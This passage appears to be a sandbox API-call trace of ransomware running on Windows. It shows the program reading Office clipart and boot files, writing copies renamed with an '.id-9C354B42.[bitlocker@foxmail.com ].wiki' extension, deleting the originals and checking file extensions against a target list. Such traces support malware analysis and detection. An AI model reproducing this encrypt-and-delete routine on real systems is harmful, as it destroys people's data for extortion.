returned 0x20 [0066.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0066.241] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.241] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.241] GetLastError () returned 0x0 [0066.241] ReadFile (in: hFile=0x224, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x9fc, lpOverlapped=0x0) returned 1 [0066.243] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0066.246] ReadFile (in: hFile=0x224, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.246] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.246] SetEndOfFile (hFile=0x214) returned 1 [0066.246] CloseHandle (hObject=0x214) returned 1 [0066.246] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.246] SetEndOfFile (hFile=0x224) returned 1 [0066.247] CloseHandle (hObject=0x224) returned 1 [0066.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0066.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0066.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.247] lstrlenW (lpString=".doc") returned 4 [0066.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.247] lstrlenW (lpString=".docx") returned 5 [0066.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.247] lstrlenW (lpString=".pdf") returned 4 [0066.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.247] lstrlenW (lpString=".xls") returned 4 [0066.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.247] lstrlenW (lpString=".xlsx") returned 5 [0066.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.247] lstrlenW (lpString=".ppt") returned 4 [0066.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.248] lstrlenW (lpString=".zip") returned 4 [0066.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.248] lstrlenW (lpString=".rar") returned 4 [0066.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.248] lstrlenW (lpString=".bz2") returned 4 [0066.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.248] lstrlenW (lpString=".7z") returned 3 [0066.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.248] lstrlenW (lpString=".dbf") returned 4 [0066.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.248] lstrlenW (lpString=".1cd") returned 4 [0066.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.248] lstrlenW (lpString=".jpg") returned 4 [0066.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.248] lstrlenW (lpString=".doc") returned 4 [0066.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.248] lstrlenW (lpString=".docx") returned 5 [0066.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.248] lstrlenW (lpString=".pdf") returned 4 [0066.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.248] lstrlenW (lpString=".xls") returned 4 [0066.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.248] lstrlenW (lpString=".xlsx") returned 5 [0066.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.248] lstrlenW (lpString=".ppt") returned 4 [0066.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.248] lstrlenW (lpString=".zip") returned 4 [0066.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.249] lstrlenW (lpString=".rar") returned 4 [0066.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.249] lstrlenW (lpString=".bz2") returned 4 [0066.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.249] lstrlenW (lpString=".7z") returned 3 [0066.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.249] lstrlenW (lpString=".dbf") returned 4 [0066.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.249] lstrlenW (lpString=".1cd") returned 4 [0066.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0066.249] lstrlenW (lpString=".jpg") returned 4 [0066.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.249] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0066.249] lstrlenW (lpString="BL00267_.WMF") returned 12 [0066.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0066.249] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2644) returned 1 [0066.249] CloseHandle (hObject=0x224) returned 1 [0066.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0066.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0066.250] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.250] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.250] GetLastError () returned 0x0 [0066.250] ReadFile (in: hFile=0x224, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xa54, lpOverlapped=0x0) returned 1 [0066.251] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xa60, lpOverlapped=0x0) returned 1 [0066.252] ReadFile (in: hFile=0x224, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.252] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.252] SetEndOfFile (hFile=0x214) returned 1 [0066.252] CloseHandle (hObject=0x214) returned 1 [0066.252] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.253] SetEndOfFile (hFile=0x224) returned 1 [0066.253] CloseHandle (hObject=0x224) returned 1 [0066.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0066.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0066.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.254] lstrlenW (lpString=".doc") returned 4 [0066.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.254] lstrlenW (lpString=".docx") returned 5 [0066.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.254] lstrlenW (lpString=".pdf") returned 4 [0066.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.254] lstrlenW (lpString=".xls") returned 4 [0066.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.254] lstrlenW (lpString=".xlsx") returned 5 [0066.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.254] lstrlenW (lpString=".ppt") returned 4 [0066.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.254] lstrlenW (lpString=".zip") returned 4 [0066.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.254] lstrlenW (lpString=".rar") returned 4 [0066.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.254] lstrlenW (lpString=".bz2") returned 4 [0066.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.254] lstrlenW (lpString=".7z") returned 3 [0066.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.254] lstrlenW (lpString=".dbf") returned 4 [0066.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.254] lstrlenW (lpString=".1cd") returned 4 [0066.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.255] lstrlenW (lpString=".jpg") returned 4 [0066.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.255] lstrlenW (lpString=".doc") returned 4 [0066.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.255] lstrlenW (lpString=".docx") returned 5 [0066.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.255] lstrlenW (lpString=".pdf") returned 4 [0066.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.255] lstrlenW (lpString=".xls") returned 4 [0066.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.255] lstrlenW (lpString=".xlsx") returned 5 [0066.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.255] lstrlenW (lpString=".ppt") returned 4 [0066.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.255] lstrlenW (lpString=".zip") returned 4 [0066.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.255] lstrlenW (lpString=".rar") returned 4 [0066.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.255] lstrlenW (lpString=".bz2") returned 4 [0066.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.255] lstrlenW (lpString=".7z") returned 3 [0066.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.255] lstrlenW (lpString=".dbf") returned 4 [0066.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.255] lstrlenW (lpString=".1cd") returned 4 [0066.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0066.255] lstrlenW (lpString=".jpg") returned 4 [0066.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.256] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0066.256] lstrlenW (lpString="BL00269_.WMF") returned 12 [0066.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0066.256] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5272) returned 1 [0066.256] CloseHandle (hObject=0x224) returned 1 [0066.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0066.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0066.256] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.256] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.257] GetLastError () returned 0x0 [0066.257] ReadFile (hFile=0x224, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0) Thread: id = 18 os_tid = 0xac0 [0042.869] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x39b0480 [0042.869] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x39c0488 [0042.870] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710400 [0042.870] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x7130e8 [0042.870] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710418 [0042.870] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x3ca0020 [0042.870] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710430 [0042.870] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710430, Size=0x20) returned 0x73f958 [0042.870] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710430 [0042.870] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710430, Size=0x20) returned 0x73f930 [0042.871] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.871] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.871] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff58 | out: OldValue=0x314ff58*=0x0) returned 1 [0042.871] lstrlenW (lpString="kernel32.dll") returned 12 [0042.871] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f958 | out: hHeap=0x6c0000) returned 1 [0042.871] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.871] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f930 | out: hHeap=0x6c0000) returned 1 [0042.871] Sleep (dwMilliseconds=0x64) [0043.152] lstrcmpiW (lpString1=".ttf", lpString2=".wiki") returned -1 [0043.152] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0043.152] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.159] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1984228) returned 1 [0043.159] CloseHandle (hObject=0x164) returned 1 [0043.159] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0043.159] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.160] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0043.160] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.160] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.160] lstrlenW (lpString=".doc") returned 4 [0043.160] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0043.160] lstrlenW (lpString=".docx") returned 5 [0043.160] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0043.160] lstrlenW (lpString=".pdf") returned 4 [0043.160] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0043.160] lstrlenW (lpString=".xls") returned 4 [0043.160] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0043.160] lstrlenW (lpString=".xlsx") returned 5 [0043.160] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0043.160] lstrlenW (lpString=".ppt") returned 4 [0043.160] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0043.160] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.160] lstrlenW (lpString=".zip") returned 4 [0043.160] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0043.160] lstrlenW (lpString=".rar") returned 4 [0043.160] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0043.160] lstrlenW (lpString=".bz2") returned 4 [0043.160] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0043.160] lstrlenW (lpString=".7z") returned 3 [0043.160] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0043.160] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.160] lstrlenW (lpString=".dbf") returned 4 [0043.160] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0043.160] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.160] lstrlenW (lpString=".1cd") returned 4 [0043.160] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0043.160] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.160] lstrlenW (lpString=".jpg") returned 4 [0043.161] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0043.161] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.161] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.161] lstrlenW (lpString=".doc") returned 4 [0043.161] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0043.161] lstrlenW (lpString=".docx") returned 5 [0043.161] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0043.161] lstrlenW (lpString=".pdf") returned 4 [0043.161] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0043.161] lstrlenW (lpString=".xls") returned 4 [0043.161] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0043.161] lstrlenW (lpString=".xlsx") returned 5 [0043.161] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0043.161] lstrlenW (lpString=".ppt") returned 4 [0043.161] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0043.161] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.161] lstrlenW (lpString=".zip") returned 4 [0043.161] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0043.161] lstrlenW (lpString=".rar") returned 4 [0043.161] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0043.161] lstrlenW (lpString=".bz2") returned 4 [0043.161] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0043.161] lstrlenW (lpString=".7z") returned 3 [0043.161] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0043.161] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.161] lstrlenW (lpString=".dbf") returned 4 [0043.161] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0043.161] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.161] lstrlenW (lpString=".1cd") returned 4 [0043.161] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0043.161] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0043.161] lstrlenW (lpString=".jpg") returned 4 [0043.161] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0043.162] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0043.162] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0043.162] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.162] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=88144) returned 1 [0043.162] CloseHandle (hObject=0x164) returned 1 